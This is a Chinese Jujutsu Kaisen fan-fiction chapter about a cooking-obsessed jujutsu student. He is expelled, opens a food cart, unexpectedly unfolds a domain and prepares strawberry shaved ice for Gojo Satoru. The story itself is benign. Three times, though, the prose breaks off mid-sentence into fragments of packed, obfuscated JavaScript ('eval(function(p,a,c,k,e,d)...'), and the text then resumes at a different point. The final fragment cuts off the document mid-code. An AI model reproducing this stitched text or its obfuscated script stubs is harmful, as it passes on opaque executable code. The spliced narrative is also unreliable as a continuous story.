《给高专来一点两摊素面震撼》 1. 被放逐的高手 傍晚六点。 一连几天的绵绵细雨终于短暂地停歇。但积蓄的水汽仍未散去,绿谷中升起潮湿的雾气,远处的山头、群林葱郁的青叶、头顶朱红的鸟居,都在云纱般漂浮的水雾中若隐若现。 毕竟咒术高专的位置在相对封闭的深山,一旦碰上夏天的梅雨季,就会变成这样呢。 虽然只上了一年学,但果然啊……一到这个月份,闷闷的潮热感就又像高专制服下、贴在皮肤上的衬衣一样,又黏又腻得缠上来,让人胃口都变差了。 “栗秋焰!任务失败了,你竟还敢一副若无其事的样子回来!” 满脸褶子的老头校长一边大声斥骂,一边把手中的拐杖敲地,跺得咄咄响。 但进入栗秋焰耳里,烦人的杂音已被自动屏蔽,只剩下绿林间一声接一声的蝉鸣。 栗秋焰眼神放空,连绵的雾山映入他瞳孔中,呈现出一片山水画般深浅不一的绿。但即便是最幽邃的密林处,也不及他瞳色浓郁的深绿。 “恬不知耻、冥顽不灵、胆大包天!栗秋焰!你这个不成器的四级废柴……” 蝉仍在不休地鸣叫着。 栗秋焰的眼瞳动了动,于是倒映着流云的碧潭微微泛起涟漪,映出面前因发怒而扭曲的老脸。 “听见没有!你脑子里到底在想些什么东西——” “啊。”栗秋焰诚实道:“在想晚上吃什么。” 老头校长被哽得一顿,本就扭曲的脸飞速涨红,眉毛气得快要飞上头顶。 “你——!” “我——” 栗秋焰拖长声音应了一声,见老头“你”了半天一个字都吐不出来,只好从善如流地自己接了下去:“我——冰箱里冻好的绿豆凉粉还剩一些,今晚吃炒凉粉吧。” 加好料小火炒个十几分钟就能出锅了,又快又方便。外皮有一层微焦的脆壳,一口下去炒透的糯弹内里混着香味一起在嘴里爆发,酸辣的口味配上解腻的绿豆凉粉,即使是这么热的天,也能清爽地享受热菜浓香的一道快手菜。 啊……有点想吃啊……炒凉粉…… 栗秋焰继续开始明目张胆地走神,但此时老头校长被哽得一口气上不去下不来,见状气得吹胡子瞪眼,脸几乎涨成了猪肝色。 “栗秋焰!!!”老头咆哮道:“真是荒谬至极!!!” “确实。”栗秋焰点了点头,遗憾道:“差点忘了,凉粉被五条霍霍完了——我也觉得荒谬,哪家好人趁我睡着了偷偷掏冰箱里的食物玩啊?” 校长:“……” “你、你、你真是——!你以为你是个什么东西?!区区一个最末流的四级咒术师……” 老头猛地一敲拐杖,厉声斥责道。 “你知道你负责的那个任务是什么吗?那可是千年前诅咒之王——两面宿傩的手指!你保管不力,致使特级咒物遗失……栗秋焰,你犯下的可是滔天大罪!” “足以……”老头眼睛眯了眯,闪过一丝贪婪的恶意:“……将你处刑。” 话音落下,但眼前的少年却没有如所想一般,立刻惊弓之鸟般慌乱失措。栗秋焰只是眨了眨眼,碧潭般的绿眸依旧沉静,没什么波澜地扫了他一眼。 “你们这些高层……为什么非要杀我?” 栗秋焰用带着些疑惑的平淡口吻,撂下了一句石破天惊的话。 老头心中炸起惊雷,脸上愤怒猛地一转为惊疑,瞬息后又被更加虚张声势般的愤怒盖过,胡子下的嘴唇动了动,半晌才发出一声嗤笑。 “真是可笑!你不过是一个弱的跟蝼蚁一样的战斗废物,一个四级咒术师……” “是啊,我的术式无法应用在战斗中,所以我几乎没有战力。这点所有人都知道。” 栗秋焰不咸不淡道。 “所以,你们就让这么一个战斗力几乎为零的四级咒术师学生……保管特级咒物?” 栗秋焰抬了下眼睛,眼瞳中倏然闪过近乎锋利的冷光。 “所谓的任务只是幌子。真正的目的……”栗秋焰冷冷道:“恐怕就是想借咒灵之手,杀死我吧。” 老头瞳孔收缩,故作声势的怒意未完全发出便僵在了原地,满是褶子的老脸瞬间青白,滑稽得像是团被揉皱又风干发霉了的橘子皮。 栗秋焰冰冷的眼神只是一闪便消泯,他重新笑了起来,微弯的绿眸像是一池重归平静的春水,配上那张轮廓柔和、堪称端丽的脸庞,令人想起古画中那些穿行过春夏之交的长廊,在层叠的绿影中拈花而笑的少年公子。 然后气质温和、面容秀美的公子张了张口—— 栗秋焰:“所以,今晚到底吃啥呢?” 老头:“……” 短暂的停顿后,老头下意识松了一口气,这时他才后知后觉地发现——他刚刚竟然被一个学生,一个自己根本没放在眼里的、区区的四级咒术师,吓到屏住了呼吸。 这个事实,让一向眼高于顶的老头愈发愤怒了,他大力地咚咚跺着拐杖,几乎快要跳起来般恼羞成怒地大声呵骂。 “目无尊长!荒谬至极!自以为是!狂妄自大……” 栗秋焰揉了揉耳朵,眼神逐渐放空,老头后面的话被大脑自动屏蔽,在吵嚷的蝉鸣中,栗秋焰再次开始正大光明地走神。也许是因为谈到了术式,他少见地回忆起了进入咒术界时的事。 与别人出生即注定了是否具有“咒术师的资质”不同,栗秋焰是在去年的春天,才突然能看见咒灵的。 那时他为了庆祝即将到来的15岁生日,摩拳擦掌地准备做一桌前无古人后无来者的好菜,亮瞎那对固守传统菜谱的夫妇的眼睛。 所以当然,食材的准备是必需的。那时春天已至尾声,一场雨结束,山中野生的菌子纷纷冒了出来,霓虹不兴吃菌,连抢的人都没有,栗秋焰美滋滋地捡了一大筐,回来的时候差点抱不动。 因为一不小心捡了太多,菌子又是放不住的鲜货,所以那天栗秋焰一拍脑袋,决定先炒一盘过个嘴瘾。 菌是中午吃的,咒灵是下午看见的。 看着窗外黏着的一团眼睛乱转的不明物体,栗秋焰当即就知道,自己怕是觉醒超能力了。 ——因为那盘菌子他绝对炒熟了!! 但就算栗秋焰再怎么坚持自己理智清醒,还是被见过无数蘑菇中毒症状的厨师爸妈扭送了医院,被嘲笑了一路经验不足还嘴硬…… 结果医院检查结果一出,两人都沉默了。 心肌酶谱没升高、肝肾功能也正常……啊?真不是菌子中毒啊? 医生:……不过,你知道那是毒蘑菇还吃啊? 栗秋焰:你懂什么,炒熟了就没毒了! 对这句话,出身种花的妈妈表示了认同,出身意国的爸爸则表示了质疑。 于是这对除了厨艺哪里都不靠谱的夫妇,开始激烈地争论起了这到底是中邪,还是毒蘑菇就是有毒……然后就在这时,咒术界的人找到了栗秋焰。 在得知了咒术高专的存在后,栗秋焰第一反应是拒绝的。 毕竟长着一张好看到突出的池面脸,脑子好使到次次成绩年级第一,连喜欢的烹饪上都是千年一遇的天赋比,他的人生简直像充了钱的人生赢家模板,未来比普罗旺斯炖菜还明亮多彩……为什么要去这个名不见经传的宗|教学校啊? 而且最重要的是——他的梦想可是成为世界第一大厨啊! 咒术界就那么点人,在那儿混能闻名世界吗? 对方不知为何,态度热切得诡异,似乎十分希望他入学,半劝半哄了好久后,终于摆出了终极武器——那人说,有“资质”的人,会在身边吸引来危险的咒灵。 栗秋焰沉默了一会儿,脑子里浮现出那对一门心思扑在厨艺上的笨蛋夫妇的脸,啧了一声。 于是当这对吵到回家才发现崽丢了的爸妈打开手机时,只看到了栗秋焰潇洒的离别信。 ——我去找新食材了,再见! 树上的蝉突然发出一道声嘶力竭的长鸣,栗秋焰失神的瞳孔缩了缩。 ……到底是从什么时候戛然而止的呢,他一帆风顺的幸运人生。 栗秋焰深深叹了口气。 大概就是从发现,他强得离谱的术式,完全无法应用在战斗中的时候吧。 栗秋焰的术式,是“概念剥夺与赋予”。 在运用咒力时,他能看到物品的“概念标签”。比如一根木刺,它的标签就有【木质】【尖锐】,假如是一根特别尖锐坚硬的木刺,它还会附带额外的【穿透】标签。 而栗秋焰拿起这根木刺,将它贴在一颗子弹上后发动术式,就可以剥夺它的标签,将所有非本质属性的“概念”,赋予在子弹上。 然后这枚子弹的“概念”,就会附带上【尖锐】【穿透】……当它从枪管中激射而出时,将必定会【穿透】所有屏障,百分百命中所指向的目标! 十分强力的术式。假如发动的前提……不是“全心全意”的话。 栗秋焰双目无神。 他努力了!他真的努力了!但即使面对生命威胁时,脑子里闪过的仍然是“还有那么多人没吃过我做的菜真是太可惜了……” 没办法啊,这又不是想控制就能控制的! 栗秋焰现在唯一能做到“全心全意”的,只有在进行烹饪的时候。 ——也就是说,他的术式虽然强得离谱,却只能用在做饭里! 连辅助术式都算不上,对剿灭咒灵没有丝毫作用,几乎没有任何战力。作为咒术师,栗秋焰因为咒力容量极大,综合来看还是勉强比“窗”强一点的,于是被评定为了四级咒术师。 换言之——简直就是废柴中的废柴! 与之相反的是,同届的同学却一个比一个耀眼——无下限六眼五条悟、咒灵操术使夏油杰,还有唯一的反转术式家入硝子。 老天啊!栗秋焰只想悲愤地对天大喊,我再也不叫你爷了!你是真把我当孙子啊! 虽然他的同学们都认为,他的术式也许能在开启领域后,借助“必中”规则产生翻天覆地般的变化……但谁会在意这个呢? 五条悟都没开领域呢,难道他栗秋焰还能打破咒术界最年轻领域开启的纪录,自行领悟吗? 高层嗤之以鼻,绝不可能! 而在确定了栗秋焰的术式确实是个战斗废物后,随之而来的就是学校高层的态度一百八十度大转弯,之前有多亲切贴心,之后就有多轻蔑厌恶,一群大人纷纷换了张皮般冷嘲热讽,只有一向严肃的夜蛾班主任还是一如既往。 ……一如既往地没收他所有偷偷捡的菌子。 还有他无数把不同制式的菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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越看越他这样老头就越高兴,厚厚的褶子动了动,露出一个充满恶意的笑容。 “不可能改。”老头说:“你已经被退学了,栗秋焰。” 说完后老头就盯住栗秋焰,不想放过那张可恶的脸上任何一丝绝望崩溃的表情。 他已经计划好了后面的发展,等到栗秋焰崩溃得哭出声后,他就大发慈悲地松口说给一个机会,只要栗秋焰土下座向他道歉…… 但老头万万没想到的是,听到这话,栗秋焰没有伤心、没有崩溃——他甚至还发自心底地笑了起来! “太好了——这一年终于有个好消息了!还是天大的好消息!” 栗秋焰激动得一拍掌,双手合十真心诚意道。 “老天爷啊,以后我再也不骂你了,你真是我亲爷爷。” 老头:“……” 合着你之前提心吊胆,其实是在担心我不给你退学吗?! 老头只觉刚刚出的一口恶气现在全都堵了回来,梗在喉咙口突突地跳,憋屈得差点喷出一口血来。 而那可恨的栗秋焰仍嫌不够般,哼着歌窜进高专里,不知从哪拖出来了……一辆小推车。 就是那种普通的,街边小吃摊常见的小推车。 老头只觉得自己的血管也要爆炸了,咬牙切齿道:“栗秋焰!你这是要做什么!” 栗秋焰正一边保持着格外开朗的笑容,一边把兜里写着“栗秋焰小食堂”的招牌往小推车上挂,闻言心情很好地回答了。 “看不出来吗?”栗秋焰:“我今晚在高专门口出摊啊。” “……你真是反了天了!” 一声巨响,老头咔擦一声直接把拐杖敲断了,面容扭曲地咆哮出声。 “我就站在这里,我看看谁敢在我的眼皮子底下,买你做的东西——!” “哟,栗子!” 一道熟悉的少年嗓音突然闯入。 老头的咆哮顿时戛然而止。 “……说多少次了,我的名字是栗秋啊。” 栗秋焰无奈地转头,果然看到那边台阶的尽头,出现了一个熟悉又亮眼的白毛。 五条悟一手插兜,一个眼神也没给那边的老头校长,大摇大摆地一级级登上高专漫长的台阶,只向栗秋焰笑着招了下手。 “栗子!”还有几级台阶,五条悟喊了一声:“今天准备做什么?” “没想好呢。”栗秋焰淡定道:“看客人是谁再想做什么菜吧。” “哦?” 五条悟跳上最后一级台阶,看了眼小推车上“栗秋焰小食堂”的招牌,墨镜后的眼珠转了转,已差不多明白发生了什么。 流光溢彩的冰冷蓝眸轻飘飘地扫了一眼旁边,校长的老脸越发僵硬了,现在像是被冻硬了的橘子皮。 五条悟嗤笑了一声,也没说什么,只是看向正一件件认真收拾厨具的栗秋焰,眼睛眯了眯,随即一弯腰径直坐在了小推车前。 “既然如此……”五条悟兴致勃勃道:“就让我来当你的第一个客人吧!” 老头的脸越发灰暗地垮下,忘记了拐杖已经断掉,下意识抬手,于是因惯性摔了个狗啃泥。 栗秋焰笑了笑,刚想开口却神色微变,突兀地停了下来。 在五条悟话音落下,他的手摸上厨具的那一刻,栗秋焰突然感觉到咒力从他的身体深处涌出,周围的空间似乎都笼罩上了某种微妙的变化。 还没等他说话,五条悟已先一步察觉到发生了什么,神色大变。 五条悟震惊道:“你开领域了?!” 栗秋焰比他更震惊:“我怎么开领域了??!!” 2. 被看穿的五条君 领域? 传说中咒术师的终极大招,许多人历经无数生死危机都难以触碰的、天才与强者的证明…… 就这么被他轻飘飘地开出来了? 栗秋焰大脑一片空白,和睁大眼睛的五条悟面面相觑。 “栗子!”五条悟控诉道:“你会领域展开了竟然不告诉我——一个人偷偷抢跑也太狡猾了!” “不要随便冤枉人好吗,它自己莫名其妙就开了,我才是真的一头雾水啊!” 栗秋焰一边反驳一边惊异地左看右看——毕竟是自己的领域,不可能不好奇吧? 蓬勃涌出的力量、翻天覆地的变化、炫酷至极的特效……这些,统统没有。 栗秋焰瞪着眼睛,细细扫过目之所及的每一个角落,就差把袋子里草莓有几粒籽数完了,仍然没找出一丝丝变化。 除了持续不断流出的咒力,和大约十平方米内覆盖的那种微妙的变化感,完全看不出任何领域展开的迹象。 按理说,领域展开是生得领域加上术式,由此施展开来的领域。而生得领域,就是术师内心的精神世界。因此领域的模样也能一部分展现出术师的精神与性格…… 栗秋焰琢磨着,恍然大悟地一锤掌心。 难道是因为他的精神层面太高,已经达到了“看山是山,看水是水”的顶级境界了吗?! 毕竟他现在也是,看糖是糖、看盐是盐的……连在业务超市抢的廉价草莓,也没有摇身一变成昂贵淡雪的样子。 五条悟眨了眨眼,看着栗秋焰变来变去的脸色,同样似模似样地一锤掌心。 “难道说……”五条悟恍然大悟:“你连自己的领域是什么效果都不清楚吗?” 栗秋焰:“……” “这东西,应该是自动出现在脑子里的吧,就像术式一样。”五条悟想了想:“我记得你的术式是……” “打住。”栗秋焰面无表情:“我的术式就是‘概念剥夺与赋予’,知道效果就可以了,那个中二的名字就不要说出来了。” “不是挺帅气的么?不过这个不重要。重要的是不管效果是什么,起码领域中,你的术式都是【必中】的。那么……” 五条悟手指一勾拉下墨镜,露出一双极感兴趣的眼睛。 “要试试看吗?” “试一下……” 五条悟的指尖抵在眼下,专注地凝视着栗秋焰,漂亮又冰冷的苍天之瞳闪烁过莫名的光彩。 “剥夺【我】身上的概念?” 空气僵硬了一瞬。 栗秋焰的眼珠转了转,慢吞吞地开口。 “你不是知道么。”栗秋焰:“我剥夺或赋予概念的对象……不能是活物。” 五条悟定定地注视着他,半晌后笑了一声。凝滞的空气流动起来,刚刚僵硬的一瞬仿佛只是错觉,气氛又自然而然地回到了高中生的青春日常频道。 “毕竟‘概念’只有你能看见嘛,谁知道你是不是在扯谎——” 五条悟重新坐了下来,拖长声音道:“还不是因为栗子你看着一本正经,其实是个满嘴跑火车、信誉度极低的恶劣家伙!” 栗秋焰哼了一声,顺手把菜刀挂在厨具架上,排列整齐的厨具们颤了颤,像是身披钢甲整装待发的士兵。 “只有你一个人这么认为吧。”栗秋焰看着桌面,总感觉缺了些什么,于是面对五条夸张的指控,也只是心不在焉地抬了下眼皮,“再说了,你凭什么怀疑我扯谎?我连你们的概念标签都看不……” 栗秋焰的话停在了喉咙口。他看着五条悟身旁震颤着浮现而出的标签,缓缓张大了嘴。 栗秋焰:“啊?” 五条悟眨了下眼:“怎么了?” “我看见了……你的标签……”眼前的几个标签越来越清晰,栗秋焰瞳孔地震,喃喃道:“实在没想到,竟然会是这个……” “什么什么?我的标签是什么?” 五条悟好奇心起,兴奋地一个接一个地猜测着。 “六眼?无下限?不不不,果然还是【最强】吧!”五条悟笑得张扬又自信,理所当然般道:“老子是最强的!” “不是。”栗秋焰说。 “哈?” 栗秋焰有些无语地看了一眼五条悟不可置信的表情,缓缓将悬浮在面前的标签逐一念了出来。 “喜好:【甜】【凉爽】【果味】……”接着他偏了偏头,深绿的眼珠随之转动:“厌恶:【苦】【辛辣】【灼热】……” 随着栗秋焰一个个词出口,五条悟的表情也逐渐风化。 “——怎么全都是些料理的词儿啊!”五条悟震声道:“我的概念标签难道就是这些东西吗?!” 比起激动的五条悟,栗秋焰反而回到了一开始平静的淡然状态。 怎么说呢,听起来很离谱,但一想到这是在他栗秋焰的领域里,倒也正常。 “不是描述得挺精准的么。”栗秋焰锐评道:“你那比小学生还幼稚的儿童餐口味。” 五条悟:“……” 不管那边的五条悟如何大喊“太过分了!”,栗秋焰淡定地屏蔽了对方的声音,若有所思地看了眼一旁空空的碗。 显然,这些以往从未出现过的、全新的标签,是在领域的作用下才冒出来的。 那么反过来想,既然新冒出来的标签与料理紧密相关,那是否他领域的真正效果,也是关于料理方面的? 想那么多不如动手一试。 栗秋焰抬起头,冷不丁道:“五条,我记得你刚刚说……要当我的第一个客人来着?” 五条悟瞬间警惕了起来。“你不会又要在我的汤里下浓缩苦瓜汁吧?” “怎么会呢。”栗秋焰露出了温柔的笑容:“给你做好吃的。” 五条悟顿了一下,紧接着大脑飞速运转,灵光一闪后大声道:“我真的不是故意弄坏你的凉粉的!是杰……” “原来还有共犯。等会儿他回来了我连你俩的账一起算。” 栗秋焰的耐心告罄,笑容瞬间消失,他面无表情地抄起一旁的擀面杖,盯着五条悟的脑袋,在手心中不轻不重地敲了敲。 “就一句话。”栗秋焰眯了眯眼:“吃不吃?” 五条悟陷入了天人交战中。 一方面他坚信栗秋焰这么大度好心一定有鬼,另一方面越是这样他越想顶一句“不吃”,看看一向一副万事不挂在心上的栗秋焰破功的表情…… 但是。 五条悟沉痛地想。 ——栗子他做东西,真的很好吃啊。 而且除了单纯的美味外,还有些别的什么……但总之,只要吃过一次,就很难抗拒这种诱惑。 于是五条悟最终还是屈服了。 “吃。”他老老实实地点了点头。 栗秋焰毫不意外。 “我就知道,没人能拒绝我。” 黑发绿眸的少年微微一笑,古典柔和的眉眼却透露出锋芒毕露的骄傲与自信,闪耀着独属于少年意气风发的光芒。 “让我想想,做个什么呢……” 栗秋焰沉吟着,他已渐渐进入状态,浓绿的眼眸专注地凝视着面前的人,认真的神情仿佛世上仅此一人。五条悟下意识收声,安静了下来。 但那视线也只停留了短短一瞬,紧接着栗秋焰垂下眼睛,视线扫过手边的厨具与食材,心中隐约有了些想法。 由于一切都事发突然,根本没有提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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五条悟的眼神变了下。过了一会儿,他才无奈地呼出了一口气。 “……真是的,下次这种事就不要告诉我了吧。”五条悟嘟囔着:“不过你这观察力还是一如既往的作弊啊——你真没有偷偷复制【六眼】的概念粘贴给自己?” “切,你给我我都不稀罕。”栗秋焰哼了一声,“别拿你那需要发动才行的术式跟我比好吗?” 观察到每一丝色泽呈现的眼睛、最微弱的火候变化也能精确捕捉的感知、灵敏至极的嗅觉与味觉……还有最可怕的是,在这如洪流般的细节中,统率着这一切的,瞬间准确提炼出所需信息的思维能力。 在他出生后,即使是已各自在料理界创下赫赫威名的父母,也不禁在欣喜若狂中发出感叹。 因为这确确实实是如神造般,千年一遇的天赋。 “都说了……” 咔擦一声,刨冰机调整完毕。栗秋焰冲五条悟挑了挑眉,笑得肆意,看起来十分欠揍。 “我是天赋比。”栗秋焰摇了摇手指:“你们学不来的。” 咒术天赋比·五条悟:“……” 五条悟带着笑意哼了一声,随即抱胸向后靠了靠,嚣张又随意地架起腿,向栗秋焰抬了抬下巴。 “好啊,草莓刨冰我吃过的不计其数,无非就那几个简单的步骤,再花哨的噱头,口味也都基本一模一样。” 五条悟挑衅般勾起嘴角:“就让我看看,你能玩出些什么花样……你这个天才,不会连让我说出‘好吃’都做不到吧?” 栗秋焰同样勾起了嘴角。 “等着瞧吧。”栗秋焰胸有成竹地笑道:“绝对是让你连违心话都说不出口,乖乖点头承认‘好吃’的草莓刨冰。” 栗秋焰小食堂,开始营业! 3. 五条悟和草莓刨冰 栗秋焰准备做的是传统的日式刨冰。 与以小碗装呈,用碎冰加以蜜饯、果仁等多种小料,更像“冰粥”的中式刨冰不同,日式刨冰是用细密的雪白冰沙在盘中堆叠成小山状,再淋上鲜艳的酱料制成。 一般是各类糖浆果酱,为了适应时代也出现了抹茶淋面,但不管如何,强烈的色彩对比,加上小山般富有冲击力的造型,让日式刨冰总是一马当先,令人首先在惊艳诱人的外观中产生食欲。 说起来,其实组成部分,以及制作过程都很简单。无非就是两步:冰打成冰沙、淋上搭配的酱料。只要备好材料,连十岁小孩也能轻松完成。 但越是简单的料理,对厨师的考验也就越大。 如何将人人都会的甜品做得出彩? 曾有人问过年仅十岁的栗秋焰这个问题。而他的回答是: ——只要将每个环节、每个细节都做到“完美”就好了。 栗秋焰平静的绿眸映在平滑的冰面上。 这是一块大体呈四方状的整冰。被深绿的长竹叶折叠而成的四方模具包裹着,晶莹剔透得近乎梦幻——因为这一大整块冰,竟然通体没有一丝杂质与气泡。 全霓虹的刨冰店,除开大批使用冰格速冻冰、便利店冰块之类的业余店外,只要是专门的刨冰店,使用的冰块无非是天然冰、纯水冰两种。 中高端店铺使用的是纯水冰,使用纯净水反复提纯、慢速冷冻,这样的冰块杂质气泡少,融化的速度更慢,打成的冰沙也就不易速融化水,一直到最后都能享受刨冰的清爽美味,不会吃到一半就只剩下倒胃口的冰水泡果酱。 而只有最顶级的店铺,会使用天然冰。所有天然冰都是冬天时,池塘等天然水体自然凝冻的冰切割而成,稀少珍贵,因此也……贵得离谱。 但栗秋焰手中的这块整冰,则综合了两种冰的所有优点,达到了几乎不可能的“完美”。 他以竹叶折成四方的容器,然后在山中最深的泉眼处,接了一捧源头处最清澈的山泉水。竹叶折叠的容器自然无法存水,但在水从缝隙中流出前…… 栗秋焰发动了术式。将带来冰块的【冰冷】属性剥夺,赋予至容器的水中。 于是竹叶中的水瞬间凝冻成冰,甚至比那些高昂的冰更加“天然”——这块冰全程没有接触任何金属或机械,唯一接触的只有柔韧的净竹叶。 这会让这块冰的味道十分纯粹——即使拥有像栗秋焰这样灵敏的舌头,也只能品出一丝丝浅淡的竹叶清香。 但这,还不够完美。 于是栗秋焰又不断发动术式,近乎严苛地一次又一次地剥夺【微杂质】【小气泡】的标签,直到这块冰出现理应只存在于概念中的【纯净】。 而这就是他现在手中这块,准备作为草莓刨冰原材料的冰。 仍然不够,这只是一部分而已。 冰面上平静的绿眸闪了闪,栗秋焰将竹叶包裹着的冰放在了一边。 现在还不到时候,现在冰块温度还太低,这样刨出的冰会呈晶粉状,就没有细绒般轻盈的口感了。但也不能等太长时间,温度高了,打出的冰沙就会过快融化。 他拿起刨冰机,再次仔细地确认其中切割的刀锋。 栗秋焰的设备实在有限,他手上的这个刨冰机只是最普通的家用式,于是他为刀片附加上了【锋利】的概念,让刨冰机达到最理想的状态,能够打出细腻、蓬松、轻薄,宛若鹅绒的冰沙。 但这只是这道甜品本身的东西,即使做到极致也太过死板——而且最重要的是,别人只要花费很长时间的功夫,一样能做出来差不多的吧? 而栗秋焰要的是,只有他能给予食客的……绝对独一无二的完美。 栗秋焰闭上眼睛,微微展开手指,似乎在触摸空气中流淌的气息。 温度、湿度…… 真正的厨师,会根据当下的环境,在细节上微调自己的烹饪过程,使料理呈现出最佳的状态。 而现在,是梅雨暂休的夏天。 闷热、潮湿、黏腻……没精神、提不起食欲……这是现下最直观的感受。 所以他需要的刨冰,必须是足够清爽,让人一口下去一扫闷热烦躁,直呼“爽!”的冰凉甜品。 因此他之前处理刀片时,还同时为刀片附加上了【可塑】的概念,然后凭借能做出最微小动作的敏锐手指,将刀锋徒手调整至最适宜的角度,接着再剥夺这一概念使其固形。 这样的刨冰机削出的冰,就会在大体上保留轻薄入口即化的整体口感,但却更具冰粒感,在清脆冰凉的清爽感上达到巅峰。 此时正好起了风,栗秋焰闭着眼睛,深深地呼吸,仿佛整座山林都化作绿色的风涌入他的身体,又自血管中流泻散开漫天雨后潮湿的岚雾。 一滴冷泉落在叶上。 栗秋焰睁开了眼睛。 完美的食材,完美的过程,而现在……就是完美的时机。 他捧起温度恰到好处的冰块,准备放入刨冰机。 而不知是故意捣乱还是单纯无聊了,五条悟挑在这时突然开口,打破了这份专心致志的沉默气氛。 “栗子。”五条悟撑着脸,没话找话般道:“你说为什么霓虹有这么多刨冰店啊。” “……” 栗秋焰手上的动作未受丝毫影响,他仍旧流畅地将冰块放入了刨冰机中,但在旋动摇臂前,他抬头看向五条悟。 虽然仍处于料理状态中,但抬起头的这一眼倒是已经从那种共鸣中抽离了出来,现在鲜活展露出的,无疑是属于少年“栗秋焰”的表情。 “你是把我当什么百科全书了吗……”栗秋焰有些好笑地旋动摇臂,想了想,“不过遍地刨冰店……大概是因为文化传统吧。毕竟刨冰在霓虹历史中也算源远流长了。” “诶——”五条悟眨了眨眼:“古代人也吃刨冰啊?” “是呢,日式刨冰最早在平安时代就出现了。《枕草子》知道吗?里面就有记载贵族们吃刨冰的场景。” 栗秋焰缓缓讲述着,刨冰机一转又一转,规律而平稳仿佛合着某种韵律,削割冰块的脆凉轻响混着清澈的少年声音,令听者不禁随之幻想,仿佛回到了千年之前,那个以风雅闻名的时代。 “那时的冰是奢侈物,贵族们将冬天储存的冰块取出,用特殊的刃器压成碎冰,盛放在金碗中。平安时代还没有蔗糖,因此他们便将甘葛煎熬成浓汁,放凉后加入其中,以增加刨冰的甜味……” 冰沙持续不断地落进盘中,栗秋焰稳稳地托着盘子,一手摇机器一手托盘转动,让冰沙从底部堆叠成诱人的小山状。 “诶——这样啊——明明是咒术的鼎盛时代,我还以为所有人都在头疼驱逐咒灵什么的呢。” “无论身处哪个时代,在怎样糟糕的情况中,人都会努力好好吃饭——这就是生活啊。”栗秋焰随口道。 此时山林间有风穿过,叶涛沙沙作响,原本在高专这样高温高湿的环境中,即使吹风也是湿粘的热风,但因为栗秋焰正刨着冰,所以吹在五条悟脸上身上的,也是夹杂着轻微冰粉的,十分清凉舒适的冷风。 吹着风,远处是云雾缭绕的山峦,耳中少年的声音清澈平缓,娓娓道来地叙说着久远的故事……五条悟眯着眼趴在桌子上,所有暑热烦恼消失一空,他难得地什么也没想,只是下意识觉得舒服安心,想让此时的时光再长一些。 “好啦,别趴那么近。”栗秋焰将盘子抬高了些,“马上就好了,贪凉也不能多吹冷风,会头痛哦。” 五条悟已经全然放松下来,闻言哼哼唧唧地从鼻腔里应了一声,也不知听没听清,反正没挪地方。 栗秋焰无奈地摇摇头,将冰放去了稍远的位置,转头拿出了一个瓶子。 冰底既已做好,剩下的自然是酱料了。 栗秋焰眯了眯眼,手中透明的罐子中草莓酱流动着,呈现出宛如红宝石般美丽浓郁的香甜色泽。 他在家时也做过刨冰,因为日式刨冰是水冰,所以冰体可塑性更强。他尝试了各种新奇百怪的搭配,各类水果混调的汁子、白葡萄酒或桃花酿、奶油芝士打出的奶泡…… 但都不如最经典的搭配——因为这是他自己熬的草莓酱。 也是赶巧了,他下午刚抢回来的廉价草莓,因为才吃一个就酸得像被隔空蒙了一拳,所以索性把一大部分都现熬成了酱,现在正好用上。 栗秋焰拧开了盖子,馥郁的草莓香味顿时飘了出来。五条悟抬起脑袋,动了动鼻子,惊奇道:“好香的草莓味啊……” “熬煮成酱会放大水果本身的香味嘛。其实本来早就应该能备好草莓酱的……”栗秋焰凉凉道:“假如上次买回来的草莓,没有在加糖腌制那一步就被你和夏油吃掉了的话……” 五条悟的眼神心虚地游移了一下,小声嘟囔。 “其实一开始真的只想吃一点点的,但回过神来就……全吃完了……” “嘀咕啥呢?” “没有。”五条悟立刻摇头,望眼欲穿地看着鲜亮的浓红自雪白的冰山上流淌而下,眼巴巴地一叠声追问:“可以吃了吧?可以吃了吧?该给我吃了吧?” “我知道你很急,但你先别急。”栗秋焰平静回道:“还不够完美。” “……又是这个。”五条悟哼了一声,半抱怨般道:“你的完美究竟是个什么东西啊……” 没想到,以前多次问过而不得解答的问题,今天栗秋焰竟然回答了。 “我想想……应该就是‘好吃’吧。”栗秋焰说。 “诶?” 栗秋焰笑了笑,拿出剩下的几个洗净的草莓鲜果,将它们去梗摘叶,只将净果肉细致地切成小块的果丁。 “料理并不是厨师一人的表演秀。对我来说,只有被食客吃下去的料理才有意义。”栗秋焰垂眸,漫不经心道:“食材工艺、天气环境、食客的精神身体状况……一切都必须进入料理的考虑。” “等等,身体状况?” “嗯哼。我妈是种花人,她们那边甚至有专门的‘药膳’……但怎么说呢,又好吃又难吃的……” 栗秋焰感叹了一句:“后来我想明白了,‘好吃’可能是身体确实是需要这个,所以大脑给出生理上的本能反应。然后难吃……就是味觉上是真的难吃啊……” “但我又没生病?” “我说这个就是想说,我的‘好吃’,就是必须连大脑的本能反应都一齐做到的……全身心的‘好吃’。”栗秋焰抬了下眼皮:“你之前不是刚吃了豚骨拉面么?” 五条悟眨了眨眼睛。 “豚骨拉面重油、重咸,高温厚重的油脂虽然会带来香气,但在这样湿热的夏天……即使当时没感觉,但你的身体已经开始‘腻’了。” “这种腻味,会让你在之后感觉到没来由的烦躁、吃不下东西、热……”栗秋焰将草莓果丁浇淋在冰面上,淡淡道:“以及吃到解腻食物时,产生格外舒心的畅快感。” 看着草莓果汁混合着酱,缓缓渗入细密的冰沙,栗秋焰点了点头。 冰、酸都是解腻的,草莓果酱本身很好,但加上五条悟状态的考虑,再切入鲜果丁提升果味的酸度,反而会更“好吃”。 但同时,五条悟本身的口味又偏甜也喜甜,所以栗秋焰又另外加入了少许炼乳——这个是以前熬的,自熬的炼乳香甜浓郁又控制了甜度,在这里加入恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 